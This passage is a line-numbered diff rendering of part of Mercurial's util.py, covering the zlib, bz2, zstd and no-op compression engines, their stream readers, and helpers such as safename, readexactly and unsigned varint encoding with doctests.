3298 If this engine can be used to compress revlogs, this method should
3297 return the bytes used to identify chunks compressed with this engine.
3299 return the bytes used to identify chunks compressed with this engine.
3298 Else, the method should return ``None`` to indicate it does not
3300 Else, the method should return ``None`` to indicate it does not
3299 participate in revlog compression.
3301 participate in revlog compression.
3300 """
3302 """
3301 return None
3303 return None
3302
3304
3303 def compressstream(self, it, opts=None):
3305 def compressstream(self, it, opts=None):
3304 """Compress an iterator of chunks.
3306 """Compress an iterator of chunks.
3305
3307
3306 The method receives an iterator (ideally a generator) of chunks of
3308 The method receives an iterator (ideally a generator) of chunks of
3307 bytes to be compressed. It returns an iterator (ideally a generator)
3309 bytes to be compressed. It returns an iterator (ideally a generator)
3308 of bytes of chunks representing the compressed output.
3310 of bytes of chunks representing the compressed output.
3309
3311
3310 Optionally accepts an argument defining how to perform compression.
3312 Optionally accepts an argument defining how to perform compression.
3311 Each engine treats this argument differently.
3313 Each engine treats this argument differently.
3312 """
3314 """
3313 raise NotImplementedError()
3315 raise NotImplementedError()
3314
3316
3315 def decompressorreader(self, fh):
3317 def decompressorreader(self, fh):
3316 """Perform decompression on a file object.
3318 """Perform decompression on a file object.
3317
3319
3318 Argument is an object with a ``read(size)`` method that returns
3320 Argument is an object with a ``read(size)`` method that returns
3319 compressed data. Return value is an object with a ``read(size)`` that
3321 compressed data. Return value is an object with a ``read(size)`` that
3320 returns uncompressed data.
3322 returns uncompressed data.
3321 """
3323 """
3322 raise NotImplementedError()
3324 raise NotImplementedError()
3323
3325
3324 def revlogcompressor(self, opts=None):
3326 def revlogcompressor(self, opts=None):
3325 """Obtain an object that can be used to compress revlog entries.
3327 """Obtain an object that can be used to compress revlog entries.
3326
3328
3327 The object has a ``compress(data)`` method that compresses binary
3329 The object has a ``compress(data)`` method that compresses binary
3328 data. This method returns compressed binary data or ``None`` if
3330 data. This method returns compressed binary data or ``None`` if
3329 the data could not be compressed (too small, not compressible, etc).
3331 the data could not be compressed (too small, not compressible, etc).
3330 The returned data should have a header uniquely identifying this
3332 The returned data should have a header uniquely identifying this
3331 compression format so decompression can be routed to this engine.
3333 compression format so decompression can be routed to this engine.
3332 This header should be identified by the ``revlogheader()`` return
3334 This header should be identified by the ``revlogheader()`` return
3333 value.
3335 value.
3334
3336
3335 The object has a ``decompress(data)`` method that decompresses
3337 The object has a ``decompress(data)`` method that decompresses
3336 data. The method will only be called if ``data`` begins with
3338 data. The method will only be called if ``data`` begins with
3337 ``revlogheader()``. The method should return the raw, uncompressed
3339 ``revlogheader()``. The method should return the raw, uncompressed
3338 data or raise a ``RevlogError``.
3340 data or raise a ``RevlogError``.
3339
3341
3340 The object is reusable but is not thread safe.
3342 The object is reusable but is not thread safe.
3341 """
3343 """
3342 raise NotImplementedError()
3344 raise NotImplementedError()
3343
3345
3344 class _CompressedStreamReader(object):
3346 class _CompressedStreamReader(object):
3345 def __init__(self, fh):
3347 def __init__(self, fh):
3346 if safehasattr(fh, 'unbufferedread'):
3348 if safehasattr(fh, 'unbufferedread'):
3347 self._reader = fh.unbufferedread
3349 self._reader = fh.unbufferedread
3348 else:
3350 else:
3349 self._reader = fh.read
3351 self._reader = fh.read
3350 self._pending = []
3352 self._pending = []
3351 self._pos = 0
3353 self._pos = 0
3352 self._eof = False
3354 self._eof = False
3353
3355
3354 def _decompress(self, chunk):
3356 def _decompress(self, chunk):
3355 raise NotImplementedError()
3357 raise NotImplementedError()
3356
3358
3357 def read(self, l):
3359 def read(self, l):
3358 buf = []
3360 buf = []
3359 while True:
3361 while True:
3360 while self._pending:
3362 while self._pending:
3361 if len(self._pending[0]) > l + self._pos:
3363 if len(self._pending[0]) > l + self._pos:
3362 newbuf = self._pending[0]
3364 newbuf = self._pending[0]
3363 buf.append(newbuf[self._pos:self._pos + l])
3365 buf.append(newbuf[self._pos:self._pos + l])
3364 self._pos += l
3366 self._pos += l
3365 return ''.join(buf)
3367 return ''.join(buf)
3366
3368
3367 newbuf = self._pending.pop(0)
3369 newbuf = self._pending.pop(0)
3368 if self._pos:
3370 if self._pos:
3369 buf.append(newbuf[self._pos:])
3371 buf.append(newbuf[self._pos:])
3370 l -= len(newbuf) - self._pos
3372 l -= len(newbuf) - self._pos
3371 else:
3373 else:
3372 buf.append(newbuf)
3374 buf.append(newbuf)
3373 l -= len(newbuf)
3375 l -= len(newbuf)
3374 self._pos = 0
3376 self._pos = 0
3375
3377
3376 if self._eof:
3378 if self._eof:
3377 return ''.join(buf)
3379 return ''.join(buf)
3378 chunk = self._reader(65536)
3380 chunk = self._reader(65536)
3379 self._decompress(chunk)
3381 self._decompress(chunk)
3380 if not chunk and not self._pending and not self._eof:
3382 if not chunk and not self._pending and not self._eof:
3381 # No progress and no new data, bail out
3383 # No progress and no new data, bail out
3382 return ''.join(buf)
3384 return ''.join(buf)
3383
3385
3384 class _GzipCompressedStreamReader(_CompressedStreamReader):
3386 class _GzipCompressedStreamReader(_CompressedStreamReader):
3385 def __init__(self, fh):
3387 def __init__(self, fh):
3386 super(_GzipCompressedStreamReader, self).__init__(fh)
3388 super(_GzipCompressedStreamReader, self).__init__(fh)
3387 self._decompobj = zlib.decompressobj()
3389 self._decompobj = zlib.decompressobj()
3388 def _decompress(self, chunk):
3390 def _decompress(self, chunk):
3389 newbuf = self._decompobj.decompress(chunk)
3391 newbuf = self._decompobj.decompress(chunk)
3390 if newbuf:
3392 if newbuf:
3391 self._pending.append(newbuf)
3393 self._pending.append(newbuf)
3392 d = self._decompobj.copy()
3394 d = self._decompobj.copy()
3393 try:
3395 try:
3394 d.decompress('x')
3396 d.decompress('x')
3395 d.flush()
3397 d.flush()
3396 if d.unused_data == 'x':
3398 if d.unused_data == 'x':
3397 self._eof = True
3399 self._eof = True
3398 except zlib.error:
3400 except zlib.error:
3399 pass
3401 pass
3400
3402
3401 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3403 class _BZ2CompressedStreamReader(_CompressedStreamReader):
3402 def __init__(self, fh):
3404 def __init__(self, fh):
3403 super(_BZ2CompressedStreamReader, self).__init__(fh)
3405 super(_BZ2CompressedStreamReader, self).__init__(fh)
3404 self._decompobj = bz2.BZ2Decompressor()
3406 self._decompobj = bz2.BZ2Decompressor()
3405 def _decompress(self, chunk):
3407 def _decompress(self, chunk):
3406 newbuf = self._decompobj.decompress(chunk)
3408 newbuf = self._decompobj.decompress(chunk)
3407 if newbuf:
3409 if newbuf:
3408 self._pending.append(newbuf)
3410 self._pending.append(newbuf)
3409 try:
3411 try:
3410 while True:
3412 while True:
3411 newbuf = self._decompobj.decompress('')
3413 newbuf = self._decompobj.decompress('')
3412 if newbuf:
3414 if newbuf:
3413 self._pending.append(newbuf)
3415 self._pending.append(newbuf)
3414 else:
3416 else:
3415 break
3417 break
3416 except EOFError:
3418 except EOFError:
3417 self._eof = True
3419 self._eof = True
3418
3420
3419 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3421 class _TruncatedBZ2CompressedStreamReader(_BZ2CompressedStreamReader):
3420 def __init__(self, fh):
3422 def __init__(self, fh):
3421 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3423 super(_TruncatedBZ2CompressedStreamReader, self).__init__(fh)
3422 newbuf = self._decompobj.decompress('BZ')
3424 newbuf = self._decompobj.decompress('BZ')
3423 if newbuf:
3425 if newbuf:
3424 self._pending.append(newbuf)
3426 self._pending.append(newbuf)
3425
3427
3426 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3428 class _ZstdCompressedStreamReader(_CompressedStreamReader):
3427 def __init__(self, fh, zstd):
3429 def __init__(self, fh, zstd):
3428 super(_ZstdCompressedStreamReader, self).__init__(fh)
3430 super(_ZstdCompressedStreamReader, self).__init__(fh)
3429 self._zstd = zstd
3431 self._zstd = zstd
3430 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3432 self._decompobj = zstd.ZstdDecompressor().decompressobj()
3431 def _decompress(self, chunk):
3433 def _decompress(self, chunk):
3432 newbuf = self._decompobj.decompress(chunk)
3434 newbuf = self._decompobj.decompress(chunk)
3433 if newbuf:
3435 if newbuf:
3434 self._pending.append(newbuf)
3436 self._pending.append(newbuf)
3435 try:
3437 try:
3436 while True:
3438 while True:
3437 newbuf = self._decompobj.decompress('')
3439 newbuf = self._decompobj.decompress('')
3438 if newbuf:
3440 if newbuf:
3439 self._pending.append(newbuf)
3441 self._pending.append(newbuf)
3440 else:
3442 else:
3441 break
3443 break
3442 except self._zstd.ZstdError:
3444 except self._zstd.ZstdError:
3443 self._eof = True
3445 self._eof = True
3444
3446
3445 class _zlibengine(compressionengine):
3447 class _zlibengine(compressionengine):
3446 def name(self):
3448 def name(self):
3447 return 'zlib'
3449 return 'zlib'
3448
3450
3449 def bundletype(self):
3451 def bundletype(self):
3450 """zlib compression using the DEFLATE algorithm.
3452 """zlib compression using the DEFLATE algorithm.
3451
3453
3452 All Mercurial clients should support this format. The compression
3454 All Mercurial clients should support this format. The compression
3453 algorithm strikes a reasonable balance between compression ratio
3455 algorithm strikes a reasonable balance between compression ratio
3454 and size.
3456 and size.
3455 """
3457 """
3456 return 'gzip', 'GZ'
3458 return 'gzip', 'GZ'
3457
3459
3458 def wireprotosupport(self):
3460 def wireprotosupport(self):
3459 return compewireprotosupport('zlib', 20, 20)
3461 return compewireprotosupport('zlib', 20, 20)
3460
3462
3461 def revlogheader(self):
3463 def revlogheader(self):
3462 return 'x'
3464 return 'x'
3463
3465
3464 def compressstream(self, it, opts=None):
3466 def compressstream(self, it, opts=None):
3465 opts = opts or {}
3467 opts = opts or {}
3466
3468
3467 z = zlib.compressobj(opts.get('level', -1))
3469 z = zlib.compressobj(opts.get('level', -1))
3468 for chunk in it:
3470 for chunk in it:
3469 data = z.compress(chunk)
3471 data = z.compress(chunk)
3470 # Not all calls to compress emit data. It is cheaper to inspect
3472 # Not all calls to compress emit data. It is cheaper to inspect
3471 # here than to feed empty chunks through generator.
3473 # here than to feed empty chunks through generator.
3472 if data:
3474 if data:
3473 yield data
3475 yield data
3474
3476
3475 yield z.flush()
3477 yield z.flush()
3476
3478
3477 def decompressorreader(self, fh):
3479 def decompressorreader(self, fh):
3478 return _GzipCompressedStreamReader(fh)
3480 return _GzipCompressedStreamReader(fh)
3479
3481
3480 class zlibrevlogcompressor(object):
3482 class zlibrevlogcompressor(object):
3481 def compress(self, data):
3483 def compress(self, data):
3482 insize = len(data)
3484 insize = len(data)
3483 # Caller handles empty input case.
3485 # Caller handles empty input case.
3484 assert insize > 0
3486 assert insize > 0
3485
3487
3486 if insize < 44:
3488 if insize < 44:
3487 return None
3489 return None
3488
3490
3489 elif insize <= 1000000:
3491 elif insize <= 1000000:
3490 compressed = zlib.compress(data)
3492 compressed = zlib.compress(data)
3491 if len(compressed) < insize:
3493 if len(compressed) < insize:
3492 return compressed
3494 return compressed
3493 return None
3495 return None
3494
3496
3495 # zlib makes an internal copy of the input buffer, doubling
3497 # zlib makes an internal copy of the input buffer, doubling
3496 # memory usage for large inputs. So do streaming compression
3498 # memory usage for large inputs. So do streaming compression
3497 # on large inputs.
3499 # on large inputs.
3498 else:
3500 else:
3499 z = zlib.compressobj()
3501 z = zlib.compressobj()
3500 parts = []
3502 parts = []
3501 pos = 0
3503 pos = 0
3502 while pos < insize:
3504 while pos < insize:
3503 pos2 = pos + 2**20
3505 pos2 = pos + 2**20
3504 parts.append(z.compress(data[pos:pos2]))
3506 parts.append(z.compress(data[pos:pos2]))
3505 pos = pos2
3507 pos = pos2
3506 parts.append(z.flush())
3508 parts.append(z.flush())
3507
3509
3508 if sum(map(len, parts)) < insize:
3510 if sum(map(len, parts)) < insize:
3509 return ''.join(parts)
3511 return ''.join(parts)
3510 return None
3512 return None
3511
3513
3512 def decompress(self, data):
3514 def decompress(self, data):
3513 try:
3515 try:
3514 return zlib.decompress(data)
3516 return zlib.decompress(data)
3515 except zlib.error as e:
3517 except zlib.error as e:
3516 raise error.RevlogError(_('revlog decompress error: %s') %
3518 raise error.RevlogError(_('revlog decompress error: %s') %
3517 stringutil.forcebytestr(e))
3519 stringutil.forcebytestr(e))
3518
3520
3519 def revlogcompressor(self, opts=None):
3521 def revlogcompressor(self, opts=None):
3520 return self.zlibrevlogcompressor()
3522 return self.zlibrevlogcompressor()
3521
3523
3522 compengines.register(_zlibengine())
3524 compengines.register(_zlibengine())
3523
3525
3524 class _bz2engine(compressionengine):
3526 class _bz2engine(compressionengine):
3525 def name(self):
3527 def name(self):
3526 return 'bz2'
3528 return 'bz2'
3527
3529
3528 def bundletype(self):
3530 def bundletype(self):
3529 """An algorithm that produces smaller bundles than ``gzip``.
3531 """An algorithm that produces smaller bundles than ``gzip``.
3530
3532
3531 All Mercurial clients should support this format.
3533 All Mercurial clients should support this format.
3532
3534
3533 This engine will likely produce smaller bundles than ``gzip`` but
3535 This engine will likely produce smaller bundles than ``gzip`` but
3534 will be significantly slower, both during compression and
3536 will be significantly slower, both during compression and
3535 decompression.
3537 decompression.
3536
3538
3537 If available, the ``zstd`` engine can yield similar or better
3539 If available, the ``zstd`` engine can yield similar or better
3538 compression at much higher speeds.
3540 compression at much higher speeds.
3539 """
3541 """
3540 return 'bzip2', 'BZ'
3542 return 'bzip2', 'BZ'
3541
3543
3542 # We declare a protocol name but don't advertise by default because
3544 # We declare a protocol name but don't advertise by default because
3543 # it is slow.
3545 # it is slow.
3544 def wireprotosupport(self):
3546 def wireprotosupport(self):
3545 return compewireprotosupport('bzip2', 0, 0)
3547 return compewireprotosupport('bzip2', 0, 0)
3546
3548
3547 def compressstream(self, it, opts=None):
3549 def compressstream(self, it, opts=None):
3548 opts = opts or {}
3550 opts = opts or {}
3549 z = bz2.BZ2Compressor(opts.get('level', 9))
3551 z = bz2.BZ2Compressor(opts.get('level', 9))
3550 for chunk in it:
3552 for chunk in it:
3551 data = z.compress(chunk)
3553 data = z.compress(chunk)
3552 if data:
3554 if data:
3553 yield data
3555 yield data
3554
3556
3555 yield z.flush()
3557 yield z.flush()
3556
3558
3557 def decompressorreader(self, fh):
3559 def decompressorreader(self, fh):
3558 return _BZ2CompressedStreamReader(fh)
3560 return _BZ2CompressedStreamReader(fh)
3559
3561
3560 compengines.register(_bz2engine())
3562 compengines.register(_bz2engine())
3561
3563
3562 class _truncatedbz2engine(compressionengine):
3564 class _truncatedbz2engine(compressionengine):
3563 def name(self):
3565 def name(self):
3564 return 'bz2truncated'
3566 return 'bz2truncated'
3565
3567
3566 def bundletype(self):
3568 def bundletype(self):
3567 return None, '_truncatedBZ'
3569 return None, '_truncatedBZ'
3568
3570
3569 # We don't implement compressstream because it is hackily handled elsewhere.
3571 # We don't implement compressstream because it is hackily handled elsewhere.
3570
3572
3571 def decompressorreader(self, fh):
3573 def decompressorreader(self, fh):
3572 return _TruncatedBZ2CompressedStreamReader(fh)
3574 return _TruncatedBZ2CompressedStreamReader(fh)
3573
3575
3574 compengines.register(_truncatedbz2engine())
3576 compengines.register(_truncatedbz2engine())
3575
3577
3576 class _noopengine(compressionengine):
3578 class _noopengine(compressionengine):
3577 def name(self):
3579 def name(self):
3578 return 'none'
3580 return 'none'
3579
3581
3580 def bundletype(self):
3582 def bundletype(self):
3581 """No compression is performed.
3583 """No compression is performed.
3582
3584
3583 Use this compression engine to explicitly disable compression.
3585 Use this compression engine to explicitly disable compression.
3584 """
3586 """
3585 return 'none', 'UN'
3587 return 'none', 'UN'
3586
3588
3587 # Clients always support uncompressed payloads. Servers don't because
3589 # Clients always support uncompressed payloads. Servers don't because
3588 # unless you are on a fast network, uncompressed payloads can easily
3590 # unless you are on a fast network, uncompressed payloads can easily
3589 # saturate your network pipe.
3591 # saturate your network pipe.
3590 def wireprotosupport(self):
3592 def wireprotosupport(self):
3591 return compewireprotosupport('none', 0, 10)
3593 return compewireprotosupport('none', 0, 10)
3592
3594
3593 # We don't implement revlogheader because it is handled specially
3595 # We don't implement revlogheader because it is handled specially
3594 # in the revlog class.
3596 # in the revlog class.
3595
3597
3596 def compressstream(self, it, opts=None):
3598 def compressstream(self, it, opts=None):
3597 return it
3599 return it
3598
3600
3599 def decompressorreader(self, fh):
3601 def decompressorreader(self, fh):
3600 return fh
3602 return fh
3601
3603
3602 class nooprevlogcompressor(object):
3604 class nooprevlogcompressor(object):
3603 def compress(self, data):
3605 def compress(self, data):
3604 return None
3606 return None
3605
3607
3606 def revlogcompressor(self, opts=None):
3608 def revlogcompressor(self, opts=None):
3607 return self.nooprevlogcompressor()
3609 return self.nooprevlogcompressor()
3608
3610
3609 compengines.register(_noopengine())
3611 compengines.register(_noopengine())
3610
3612
3611 class _zstdengine(compressionengine):
3613 class _zstdengine(compressionengine):
3612 def name(self):
3614 def name(self):
3613 return 'zstd'
3615 return 'zstd'
3614
3616
3615 @propertycache
3617 @propertycache
3616 def _module(self):
3618 def _module(self):
3617 # Not all installs have the zstd module available. So defer importing
3619 # Not all installs have the zstd module available. So defer importing
3618 # until first access.
3620 # until first access.
3619 try:
3621 try:
3620 from . import zstd
3622 from . import zstd
3621 # Force delayed import.
3623 # Force delayed import.
3622 zstd.__version__
3624 zstd.__version__
3623 return zstd
3625 return zstd
3624 except ImportError:
3626 except ImportError:
3625 return None
3627 return None
3626
3628
3627 def available(self):
3629 def available(self):
3628 return bool(self._module)
3630 return bool(self._module)
3629
3631
3630 def bundletype(self):
3632 def bundletype(self):
3631 """A modern compression algorithm that is fast and highly flexible.
3633 """A modern compression algorithm that is fast and highly flexible.
3632
3634
3633 Only supported by Mercurial 4.1 and newer clients.
3635 Only supported by Mercurial 4.1 and newer clients.
3634
3636
3635 With the default settings, zstd compression is both faster and yields
3637 With the default settings, zstd compression is both faster and yields
3636 better compression than ``gzip``. It also frequently yields better
3638 better compression than ``gzip``. It also frequently yields better
3637 compression than ``bzip2`` while operating at much higher speeds.
3639 compression than ``bzip2`` while operating at much higher speeds.
3638
3640
3639 If this engine is available and backwards compatibility is not a
3641 If this engine is available and backwards compatibility is not a
3640 concern, it is likely the best available engine.
3642 concern, it is likely the best available engine.
3641 """
3643 """
3642 return 'zstd', 'ZS'
3644 return 'zstd', 'ZS'
3643
3645
3644 def wireprotosupport(self):
3646 def wireprotosupport(self):
3645 return compewireprotosupport('zstd', 50, 50)
3647 return compewireprotosupport('zstd', 50, 50)
3646
3648
3647 def revlogheader(self):
3649 def revlogheader(self):
3648 return '\x28'
3650 return '\x28'
3649
3651
3650 def compressstream(self, it, opts=None):
3652 def compressstream(self, it, opts=None):
3651 opts = opts or {}
3653 opts = opts or {}
3652 # zstd level 3 is almost always significantly faster than zlib
3654 # zstd level 3 is almost always significantly faster than zlib
3653 # while providing no worse compression. It strikes a good balance
3655 # while providing no worse compression. It strikes a good balance
3654 # between speed and compression.
3656 # between speed and compression.
3655 level = opts.get('level', 3)
3657 level = opts.get('level', 3)
3656
3658
3657 zstd = self._module
3659 zstd = self._module
3658 z = zstd.ZstdCompressor(level=level).compressobj()
3660 z = zstd.ZstdCompressor(level=level).compressobj()
3659 for chunk in it:
3661 for chunk in it:
3660 data = z.compress(chunk)
3662 data = z.compress(chunk)
3661 if data:
3663 if data:
3662 yield data
3664 yield data
3663
3665
3664 yield z.flush()
3666 yield z.flush()
3665
3667
3666 def decompressorreader(self, fh):
3668 def decompressorreader(self, fh):
3667 return _ZstdCompressedStreamReader(fh, self._module)
3669 return _ZstdCompressedStreamReader(fh, self._module)
3668
3670
3669 class zstdrevlogcompressor(object):
3671 class zstdrevlogcompressor(object):
3670 def __init__(self, zstd, level=3):
3672 def __init__(self, zstd, level=3):
3671 # TODO consider omitting frame magic to save 4 bytes.
3673 # TODO consider omitting frame magic to save 4 bytes.
3672 # This writes content sizes into the frame header. That is
3674 # This writes content sizes into the frame header. That is
3673 # extra storage. But it allows a correct size memory allocation
3675 # extra storage. But it allows a correct size memory allocation
3674 # to hold the result.
3676 # to hold the result.
3675 self._cctx = zstd.ZstdCompressor(level=level)
3677 self._cctx = zstd.ZstdCompressor(level=level)
3676 self._dctx = zstd.ZstdDecompressor()
3678 self._dctx = zstd.ZstdDecompressor()
3677 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3679 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3678 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3680 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3679
3681
3680 def compress(self, data):
3682 def compress(self, data):
3681 insize = len(data)
3683 insize = len(data)
3682 # Caller handles empty input case.
3684 # Caller handles empty input case.
3683 assert insize > 0
3685 assert insize > 0
3684
3686
3685 if insize < 50:
3687 if insize < 50:
3686 return None
3688 return None
3687
3689
3688 elif insize <= 1000000:
3690 elif insize <= 1000000:
3689 compressed = self._cctx.compress(data)
3691 compressed = self._cctx.compress(data)
3690 if len(compressed) < insize:
3692 if len(compressed) < insize:
3691 return compressed
3693 return compressed
3692 return None
3694 return None
3693 else:
3695 else:
3694 z = self._cctx.compressobj()
3696 z = self._cctx.compressobj()
3695 chunks = []
3697 chunks = []
3696 pos = 0
3698 pos = 0
3697 while pos < insize:
3699 while pos < insize:
3698 pos2 = pos + self._compinsize
3700 pos2 = pos + self._compinsize
3699 chunk = z.compress(data[pos:pos2])
3701 chunk = z.compress(data[pos:pos2])
3700 if chunk:
3702 if chunk:
3701 chunks.append(chunk)
3703 chunks.append(chunk)
3702 pos = pos2
3704 pos = pos2
3703 chunks.append(z.flush())
3705 chunks.append(z.flush())
3704
3706
3705 if sum(map(len, chunks)) < insize:
3707 if sum(map(len, chunks)) < insize:
3706 return ''.join(chunks)
3708 return ''.join(chunks)
3707 return None
3709 return None
3708
3710
3709 def decompress(self, data):
3711 def decompress(self, data):
3710 insize = len(data)
3712 insize = len(data)
3711
3713
3712 try:
3714 try:
3713 # This was measured to be faster than other streaming
3715 # This was measured to be faster than other streaming
3714 # decompressors.
3716 # decompressors.
3715 dobj = self._dctx.decompressobj()
3717 dobj = self._dctx.decompressobj()
3716 chunks = []
3718 chunks = []
3717 pos = 0
3719 pos = 0
3718 while pos < insize:
3720 while pos < insize:
3719 pos2 = pos + self._decompinsize
3721 pos2 = pos + self._decompinsize
3720 chunk = dobj.decompress(data[pos:pos2])
3722 chunk = dobj.decompress(data[pos:pos2])
3721 if chunk:
3723 if chunk:
3722 chunks.append(chunk)
3724 chunks.append(chunk)
3723 pos = pos2
3725 pos = pos2
3724 # Frame should be exhausted, so no finish() API.
3726 # Frame should be exhausted, so no finish() API.
3725
3727
3726 return ''.join(chunks)
3728 return ''.join(chunks)
3727 except Exception as e:
3729 except Exception as e:
3728 raise error.RevlogError(_('revlog decompress error: %s') %
3730 raise error.RevlogError(_('revlog decompress error: %s') %
3729 stringutil.forcebytestr(e))
3731 stringutil.forcebytestr(e))
3730
3732
3731 def revlogcompressor(self, opts=None):
3733 def revlogcompressor(self, opts=None):
3732 opts = opts or {}
3734 opts = opts or {}
3733 return self.zstdrevlogcompressor(self._module,
3735 return self.zstdrevlogcompressor(self._module,
3734 level=opts.get('level', 3))
3736 level=opts.get('level', 3))
3735
3737
3736 compengines.register(_zstdengine())
3738 compengines.register(_zstdengine())
3737
3739
3738 def bundlecompressiontopics():
3740 def bundlecompressiontopics():
3739 """Obtains a list of available bundle compressions for use in help."""
3741 """Obtains a list of available bundle compressions for use in help."""
3740 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3742 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3741 items = {}
3743 items = {}
3742
3744
3743 # We need to format the docstring. So use a dummy object/type to hold it
3745 # We need to format the docstring. So use a dummy object/type to hold it
3744 # rather than mutating the original.
3746 # rather than mutating the original.
3745 class docobject(object):
3747 class docobject(object):
3746 pass
3748 pass
3747
3749
3748 for name in compengines:
3750 for name in compengines:
3749 engine = compengines[name]
3751 engine = compengines[name]
3750
3752
3751 if not engine.available():
3753 if not engine.available():
3752 continue
3754 continue
3753
3755
3754 bt = engine.bundletype()
3756 bt = engine.bundletype()
3755 if not bt or not bt[0]:
3757 if not bt or not bt[0]:
3756 continue
3758 continue
3757
3759
3758 doc = pycompat.sysstr('``%s``\n %s') % (
3760 doc = pycompat.sysstr('``%s``\n %s') % (
3759 bt[0], engine.bundletype.__doc__)
3761 bt[0], engine.bundletype.__doc__)
3760
3762
3761 value = docobject()
3763 value = docobject()
3762 value.__doc__ = doc
3764 value.__doc__ = doc
3763 value._origdoc = engine.bundletype.__doc__
3765 value._origdoc = engine.bundletype.__doc__
3764 value._origfunc = engine.bundletype
3766 value._origfunc = engine.bundletype
3765
3767
3766 items[bt[0]] = value
3768 items[bt[0]] = value
3767
3769
3768 return items
3770 return items
3769
3771
3770 i18nfunctions = bundlecompressiontopics().values()
3772 i18nfunctions = bundlecompressiontopics().values()
3771
3773
3772 # convenient shortcut
3774 # convenient shortcut
3773 dst = debugstacktrace
3775 dst = debugstacktrace
3774
3776
3775 def safename(f, tag, ctx, others=None):
3777 def safename(f, tag, ctx, others=None):
3776 """
3778 """
3777 Generate a name that it is safe to rename f to in the given context.
3779 Generate a name that it is safe to rename f to in the given context.
3778
3780
3779 f: filename to rename
3781 f: filename to rename
3780 tag: a string tag that will be included in the new name
3782 tag: a string tag that will be included in the new name
3781 ctx: a context, in which the new name must not exist
3783 ctx: a context, in which the new name must not exist
3782 others: a set of other filenames that the new name must not be in
3784 others: a set of other filenames that the new name must not be in
3783
3785
3784 Returns a file name of the form oldname~tag[~number] which does not exist
3786 Returns a file name of the form oldname~tag[~number] which does not exist
3785 in the provided context and is not in the set of other names.
3787 in the provided context and is not in the set of other names.
3786 """
3788 """
3787 if others is None:
3789 if others is None:
3788 others = set()
3790 others = set()
3789
3791
3790 fn = '%s~%s' % (f, tag)
3792 fn = '%s~%s' % (f, tag)
3791 if fn not in ctx and fn not in others:
3793 if fn not in ctx and fn not in others:
3792 return fn
3794 return fn
3793 for n in itertools.count(1):
3795 for n in itertools.count(1):
3794 fn = '%s~%s~%s' % (f, tag, n)
3796 fn = '%s~%s~%s' % (f, tag, n)
3795 if fn not in ctx and fn not in others:
3797 if fn not in ctx and fn not in others:
3796 return fn
3798 return fn
3797
3799
3798 def readexactly(stream, n):
3800 def readexactly(stream, n):
3799 '''read n bytes from stream.read and abort if less was available'''
3801 '''read n bytes from stream.read and abort if less was available'''
3800 s = stream.read(n)
3802 s = stream.read(n)
3801 if len(s) < n:
3803 if len(s) < n:
3802 raise error.Abort(_("stream ended unexpectedly"
3804 raise error.Abort(_("stream ended unexpectedly"
3803 " (got %d bytes, expected %d)")
3805 " (got %d bytes, expected %d)")
3804 % (len(s), n))
3806 % (len(s), n))
3805 return s
3807 return s
3806
3808
3807 def uvarintencode(value):
3809 def uvarintencode(value):
3808 """Encode an unsigned integer value to a varint.
3810 """Encode an unsigned integer value to a varint.
3809
3811
3810 A varint is a variable length integer of 1 or more bytes. Each byte
3812 A varint is a variable length integer of 1 or more bytes. Each byte
3811 except the last has the most significant bit set. The lower 7 bits of
3813 except the last has the most significant bit set. The lower 7 bits of
3812 each byte store the 2's complement representation, least significant group
3814 each byte store the 2's complement representation, least significant group
3813 first.
3815 first.
3814
3816
3815 >>> uvarintencode(0)
3817 >>> uvarintencode(0)
3816 '\\x00'
3818 '\\x00'
3817 >>> uvarintencode(1)
3819 >>> uvarintencode(1)
3818 '\\x01'
3820 '\\x01'
3819 >>> uvarintencode(127)
3821 >>> uvarintencode(127)
3820 '\\x7f'
3822 '\\x7f'
3821 >>> uvarintencode(1337)
3823 >>> uvarintencode(1337)
3822 '\\xb9\\n'
3824 '\\xb9\\n'
3823 >>> uvarintencode(65536)
3825 >>> uvarintencode(65536)
3824 '\\x80\\x80\\x04'
3826 '\\x80\\x80\\x04'
3825 >>> uvarintencode(-1)
3827 >>> uvarintencode(-1)
3826 Traceback (most recent call last):
3828 Traceback (most recent call last):
3827 ...
3829 ...
3828 ProgrammingError: negative value for uvarint: -1
3830 ProgrammingError: negative value for uvarint: -1
3829 """
3831 """
3830 if value < 0:
3832 if value < 0:
3831 raise error.ProgrammingError('negative value for uvarint: %d'
3833 raise error.ProgrammingError('negative value for uvarint: %d'
3832 % value)
3834 % value)
3833 bits = value & 0x7f
3835 bits = value & 0x7f
3834 value >>= 7
3836 value >>= 7
3835 bytes = []
3837 bytes = []
3836 while value:
3838 while value:
3837 bytes.append(pycompat.bytechr(0x80 | bits))
3839 bytes.append(pycompat.bytechr(0x80 | bits))
3838 bits = value & 0x7f
3840 bits = value & 0x7f
3839 value >>= 7
3841 value >>= 7
3840 bytes.append(pycompat.bytechr(bits))
3842 bytes.append(pycompat.bytechr(bits))
3841
3843
3842 return ''.join(bytes)
3844 return ''.join(bytes)
3843
3845
3844 def uvarintdecodestream(fh):
3846 def uvarintdecodestream(fh):
3845 """Decode an unsigned variable length integer from a stream.
3847 """Decode an unsigned variable length integer from a stream.
3846
3848
3847 The passed argument is anything that has a ``.read(N)`` method.
3849 The passed argument is anything that has a ``.read(N)`` method.
3848
3850
3849 >>> try:
3851 >>> try:
3850 ... from StringIO import StringIO as BytesIO
3852 ... from StringIO import StringIO as BytesIO
3851 ... except ImportError:
3853 ... except ImportError:
3852 ... from io import BytesIO
3854 ... from io import BytesIO
3853 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3855 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3854 0
3856 0
3855 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3857 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3856 1
3858 1
3857 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3859 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3858 127
3860 127
3859 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
